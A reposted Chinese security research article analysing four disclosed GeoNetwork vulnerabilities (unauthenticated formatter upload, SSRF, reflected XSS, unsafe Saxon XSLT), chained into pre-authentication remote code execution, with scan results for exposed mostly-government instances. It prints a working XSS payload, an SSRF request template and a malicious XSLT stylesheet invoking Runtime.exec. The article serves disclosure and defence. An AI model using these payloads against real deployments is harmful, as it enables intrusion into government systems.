文章总结: GeoNetwork开源地理空间元数据系统存在四个安全漏洞,其中未认证文件上传与不安全XSLT处理器配置链式利用可实现未认证远程代码执行。作者通过公网扫描确认39个国家121个受影响实例,89%隶属政府或军事机构。建议相关机构立即排查版本并应用补丁,限制formatter上传端点访问。
综合评分: 90
文章分类: 漏洞分析,渗透测试,红队
GeoNetwork 预认证远程代码执行漏洞分析
幻泉之洲
2026年9月4日 10:36
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
GeoNetwork 是一款被全球政府机构广泛使用的开源地理空间元数据目录系统。本文分析了作者发现的四个安全漏洞,其中两个漏洞链式组合后,攻击者无需任何认证即可实现远程代码执行(RCE)。通过对公网部署的扫描,作者确认了 39 个国家/地区的 121 个受影响实例,其中 89% 隶属于政府或军事机构。
地理空间元数据目录这类基础设施,平时很少有人谈论。它们悄无声息地运行在政府开放数据门户、环境机构和企业的 GIS 平台背后,负责登记”什么东西在哪、人们知道些什么”。
GeoNetwork[1]就是这样一个系统。作为 OSGeo 项目下的开源软件,它在全球被广泛部署。项目最初由联合国粮农组织(FAO)开发,如今已是欧洲及世界其他地区众多空间数据基础设施(SDI)计划的核心组件。如果你浏览过某个国家级或区域性的地理信息门户,背后很可能就是 GeoNetwork 在提供元数据服务。
使用者主要是政府机构——这正是吸引我的地方。一番研究之后,我提交了四个独立漏洞:
-
CVE-2026-63219
:formatter 上传端点缺少鉴权,导致未认证文件上传[2]
-
CVE-2026-55864
:SLD 工具中存在未认证的服务器端请求伪造(SSRF)(https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5hx7-j24v-rffj)
-
CVE-2026-57582
:未过滤的 JavaScript Sink 导致反射型 XSS[3]
-
CVE-2026-58400
:formatter 中不安全的 Saxon XSLT 处理器配置引发远程代码执行[4]
开始吧。
GeoNetwork 的工作原理
在展开分析之前,快速介绍一下本文涉及的关键概念。
GeoNetwork 是一个基于 Java / Spring 的 Web 应用。底层有三个概念会反复出现:
-
记录(Record)
:每条元数据就是一条记录,用 UUID 标识。大量记录本身设计为公开可读的,匿名即可访问。现实中任何一个实际部署的实例,几乎肯定至少有一条公开记录存在。
-
/srv API
:几乎所有功能都暴露在门户作用域 API 下,例如
GET /srv/api/records/{uuid}。这个前缀到处可见。 -
XSLT,到处都是
:GeoNetwork 用 XSLT 样式表渲染和转换元数据。页面布局是 XSLT,把记录转换成 HTML 或文本视图的”格式化器”(formatter)也是 XSLT。这个细节很快会派上用场。
安全方面,角色操作受 Spring 的 @PreAuthorize 注解保护,形如:
@PreAuthorize(“hasAuthority(‘UserAdmin’)”)
在这种情况下,最值得问的问题永远是:”哪个端点被漏掉了?”
漏洞逐一拆解
CVE-2026-63219:formatter 上传端点缺鉴权,未认证文件上传
管理端点本应受 @PreAuthorize 保护。
管理 formatter 的控制器叫 FormatterAdminApi[5]。顾名思议,这是管理功能,包括列出、下载、删除、更新 formatter 文件,每一个操作都锁在下面这行注解后面:
@PreAuthorize(“hasAuthority(‘UserAdmin’)”)
这没毛病。但偏偏有一个方法被遗漏了——它负责把一个全新的 formatter 写入磁盘[6]:
// services/src/main/java/org/fao/geonet/api/records/formatters/FormatterAdminApi.java
@RequestMapping(method = RequestMethod.POST,
value = “/{portal}/api/formatters”, …)
@ResponseStatus(value = HttpStatus.CREATED)
public void addFormatter(
上传完成后,只需用一个简单的 GET 请求访问记录,就能触发该 formatter:
GET /srv/api/records/{PUBLIC_RECORD_UUID}/formatters/{OUR_FORMATTER_NAME}
两个值都由我们掌控。formatter 名称是我们上传时自己取的,当然知道;而公开记录的 UUID 也毫不费力就能拿到——GeoNetwork 自己的搜索 API 会直接返回它。整个攻击链如下:
完整的攻击链:一个未认证的 POST 请求上传恶意的 XSLT formatter,紧接着一个 GET 请求触发 Saxon-B 执行它。
关于撞车(Collisions)的一点说明
很遗憾,这个漏洞的提交最终与另一位研究者撞了。我们互相联系后商定共同分享这个漏洞的荣誉,因为双方都是独立发现的。
在这里向 Brexard[7] 致敬,出色的研究者。
CVE-2026-55864:未认证的 SSRF
GeoNetwork 内置了一个 SLD(Styled Layer Descriptor,样式化图层描述器)工具,用于构建地图样式。它位于 POST /api/tools/ogc/sld[8],接收调用者提供的 WMS 服务器 URL:
// services/src/main/java/org/fao/geonet/api/sld/SldApi.java
public String buildSLD(
@RequestParam(“url”) String serverURL, // 攻击者可控
@RequestParam(“layers”) String layers,
@RequestParam(“filters”) String filters) throws … {
Map hash = SLDUtil.parseSLD(new URI(serverURL), layers); // 要去哪?
Element root = Xml.loadString(hash.get(“content”), false);
if (root.getName().equals(“ServiceExceptionReport”)) {
throw new ServiceException(“The WMS GetStyle request failed.”);
}
这个 serverURL 直接被传进 SLDUtil.parseSLD(new URI(serverURL), ...)[9],没有白名单、没有协议检查、没有任何 SSRF 防护。parseSLD 拿它做了什么?
// core/src/main/java/org/geonetwork/map/wms/SLDUtil.java
public static Map parseSLD(URI url, String layers) throws … {
String requestUrl = SLDUtil.getGetStyleRequest(url, layers);
HttpGet httpGet = new HttpGet(requestUrl); // 请求直接发出
实际发送请求的正是 getGetStyleRequest,它接收的是用户注入的 URL,并以 GET 方式从服务器端获取。由于没有任何限制,我们可以通过该端点访问大多数内部服务。虽然有一个校验流程,但已有大量研究[10]表明,云元数据地址(如 169.254.169.254)几乎总是可访问的。测试这个有效:
POST /srv/api/tools/ogc/sld
Host: target
Content-Type: application/x-www-form-urlencoded
X-XSRF-TOKEN:
Cookie: XSRF-TOKEN=;
Connection: keep-alive
url=&layers=x&filters=%7B%7D
是盲打还是非盲打?回头看 buildSLD 的代码,抓取回来的 body 会被 Xml.loadString(...) 解析并回流到响应中。这自然是个限制条件——我们需要内部资源返回 XML,比如配置信息或某些端点中的敏感数据。
CVE-2026-57582:未过滤的 JavaScript Sink 引发反射型 XSS
catalog.search 路由接收一个 uiconfig 查询参数,本意是携带 UI 配置信息。在 base-layout-cssjs-loader.xsl[11]中,该参数被直接读入变量:
xsl:variable name=”uiconfig” select=”concat(”’, $uiconfig_param, ”’)”/>
再往下走几行,这个变量被拼接进内联 script 块中,作为函数调用的第一个参数:
script type=”text/javascript”
…
gnGlobalSettings.init(
,
null,
…
接下来构造一个漂亮的 XSS 就很简单了。gnGlobalSettings.init(...) 仍需接收一个合法的第一参数,否则后面的脚本会出错。这用 uiconfig=(alert(),{}) 就能解决,渲染出来是:
gnGlobalSettings.init((alert(),{}) ,null, …);
(alert(),{}) 先执行 alert(),然后求值得到一个 {} 对象,所以我们的代码触发了,init() 也拿到了它想要的空对象。皆大欢喜。当然也可以直接闭合 script 标签配合 HTML 代码实现 XSS,但那样就没意思了,不是吗:)
URL 编码后,完整 payload 就是一个链接:
GET /srv/eng/catalog.search?uiconfig=%28alert%281%29%2C%7B%7D%29
XSS 确认成功:这个精心构造的 URL 在受害者浏览器中触发 alert 弹窗,全程无需任何认证。
GeoNetwork 团队把这个问题标为 High 严重性,官方说明如下:
该问题可通过诱使用户访问恶意 URL 来实现反射型 XSS 攻击,并且覆盖了 CSRF 保护机制。
不过官方列出的严重性等级是 Medium,我们觉得应该提到 High。理由:这个端点不需要认证,XSRF-TOKEN cookie 可以被 JavaScript 读取(没有设置 HttpOnly),两者结合意味着用户只需点击一个链接,无需任何交互,攻击者就能一步完成完整的账户接管。
CVE-2026-58400:不安全的 Saxon XSLT 处理器配置导致 RCE
GeoNetwork 默认使用 Saxon-B 的 XSLT 处理器。它们提供了一个扩展函数 java:,允许调用 Java 方法。如果攻击者能让一个不可信的 XSLT 样式表被处理,那就可以直接执行系统命令。
还记得前面的漏洞吗?未认证上传 formatter 的能力加上这个不安全的 XSLT 配置,就能构成一条完整的攻击路径。
构造一个恶意的 XSLT 样式表,里面包含以下内容:
xsl:stylesheet version=”2.0″
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”
xmlns:rt=”java:java.lang.Runtime”>
xsl:template match=”/”
xsl:variable name=”runtime” select=”rt:getRuntime()”/>
xsl:variable name=”cmd” select=”‘touch /tmp/pwned'”/>
xsl:value-of select=”rt:exec($runtime, $cmd)”/>
/xsl:template
/xsl:stylesheet
链式利用:未授权上传 + 不安全 XSLT = 未认证 RCE
正如你所预料的,把”未授权上传”和”不安全的 XSLT 处理”链在一起,就能得到未认证的远程代码执行。下面的视频演示了未认证用户针对 GeoNetwork 4.4.11 版本获取反向 shell 的全过程。
[video: 00:00 / 00:16]大规模指纹识别与通报
这个软件的主要使用者是政府和国际组织,这一点让漏洞的杀伤力变得非常现实。向 GeoNetwork 团队报告漏洞之后,我们开始着手大规模识别受影响实例——毕竟 ≥ 4.0.6 的版本都能实现未认证 RCE。
最终统计结果如下:
- 在 39 个国家/地区共识别出 121 个受影响的 GeoNetwork 4.x 部署。
- 89% 的受影响实例与政府、军事或国家机构相关。
- 11% 属于学术、非营利或商业机构。
- 欧洲及欧盟/国际机构的部署占数据集的 77.7%。
所有这些使用受影响版本的机构,我们都逐一联系并提供了漏洞详情和补丁前的缓解措施,以确保在官方补丁发布前资产安全。
结论
GeoNetwork 有意思的地方在于,它部署在安全失误代价极高的位置:政府门户、国家地理空间目录、科研基础设施、环境监测平台。这次研究再次印证了一个老道理——安静的基础设施同样是关键基础设施,而在广泛部署的软件中,一个微小的鉴权漏洞很快就会演变成规模化的安全问题。
最后,感谢阅读,希望你喜欢这篇文章。
相关文章
Research:Hackian and the Ghosts in Your Business Logic,2026年2月19日[12]
Research:Grafana CVE-2025-6023 Bypass: A Technical Deep Dive,2025年11月27日[13]
参考资料
[1] https://github.com/geonetwork/core-geonetwork
[2] https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-mh22-prqr-vf42
[3] https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5pq9-ppfw-p83j
[4] https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-x898-729x-cc3r
[5] https://github.com/geonetwork/core-geonetwork/blob/56abcb6ef42f0741cc13caf116894cbd6b2c5eb8/services/src/main/java/org/fao/geonet/api/records/formatters/FormatterAdminApi.java
[6] https://github.com/geonetwork/core-geonetwork/blob/56abcb6ef42f0741cc13caf116894cbd6b2c5eb8/services/src/main/java/org/fao/geonet/api/records/formatters/FormatterAdminApi.java#L362
[7] https://github.com/Brexard
[8] https://github.com/geonetwork/core-geonetwork/blob/d0bf056e86017f50fcadfeb5172af892a67e066c/services/src/main/java/org/fao/geonet/api/sld/SldApi.java
[9] https://github.com/geonetwork/core-geonetwork/blob/d0bf056e86017f50fcadfeb5172af892a67e066c/core/src/main/java/org/geonetwork/map/wms/SLDUtil.java#L56
[10] https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
[11] https://github.com/geonetwork/core-geonetwork/blob/d0bf056e86017f50fcadfeb5172af892a67e066c/web/src/main/webapp/xslt/base-layout-cssjs-loader.xsl#L285
[12] https://www.sonarsource.com/blog/hackian-and-the-ghosts-in-your-business-logic/
[13] https://www.sonarsource.com/blog/grafana-cve-2025-6023-bypass-a-technical-deep-dive/
[14] https://ethiack.com/info-hub/research/geonetwork-preauth-RCE
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《GeoNetwork 预认证远程代码执行漏洞分析》